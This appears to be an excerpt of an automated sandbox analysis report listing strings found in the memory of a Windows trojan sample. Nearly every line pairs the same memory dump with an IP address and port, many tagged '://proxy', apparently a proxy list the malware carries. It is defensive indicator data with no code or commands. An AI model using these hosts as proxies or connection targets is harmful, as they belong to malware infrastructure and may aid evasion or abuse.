Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.81.127.247:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.92.223.122:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.92.223.122:3128p
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E05000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.50.198:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.50.198:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.216.90:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.216.90:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.106.221.23:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.106.221.23:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.144.87.187:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.144.87.187:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C9D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.152.50.116:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.152.50.116:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.172.34.114:49920
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.172.34.114:49920://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.172.82.94:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.172.82.94:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.172.82.94:53281x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.192.227.234:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.192.227.234:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.199.86.181:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.199.86.181:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.205.201.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.205.201.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.230.33.96:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.230.33.96:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.12:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.12:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.4:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.4:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.37.245.42:51056
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.37.245.42:51056://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.111.83.204:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.111.83.204:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF23000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.111.83.207:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.111.83.207:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.70.155:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.70.155:8083://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.70.59:1111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.70.59:1111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.78.34:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.112.78.34:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.33:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.33:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FA3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.36:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.36:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.3.141:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.3.141:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.133.238.94
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.133.238.94://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.133.238.94:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.131.122:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.131.122:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.137.90:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.137.90:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.139.154:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.139.154:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.140.5:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.140.5:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.24.205:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.24.205:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7883000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.241.134:10800
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.241.134:10800://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.254.104.130:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.254.104.130:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA62F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.116.243:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA61A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.116.243:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.116.243:1080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.240.157:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.240.157:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.30.37:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.30.37:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.59.95:5301
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.65.59.95:5301://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.72.59.99:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.72.59.99:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAB8C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.73.115.113:5000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CABE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.73.115.113:5000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.75.149.169:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.75.149.169:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.128.246:25383
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.128.246:25383://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8165000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.128.246:25395
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.128.246:25395://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.194.13:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.194.13:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.233.39:5302
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.233.39:5302://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.76.233.39:5302x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.77.237.93:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.77.237.93:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6948000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.10.93.50:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.10.93.50:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.112.35.208:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.112.35.208:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.12.178.169
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.12.178.169://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.12.178.169:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.122.84.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.122.84.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.123.150.192:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.123.150.192:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C691F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.58.156:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.58.156:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.27.109.94:56781
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.27.109.94:56781://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.37.125.76:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.37.125.76:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD13000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CACD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.75.236.58:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CACD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.75.236.58:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.9.71.167:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.9.71.167:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.129.253.30:40223
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.129.253.30:40223://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153:80
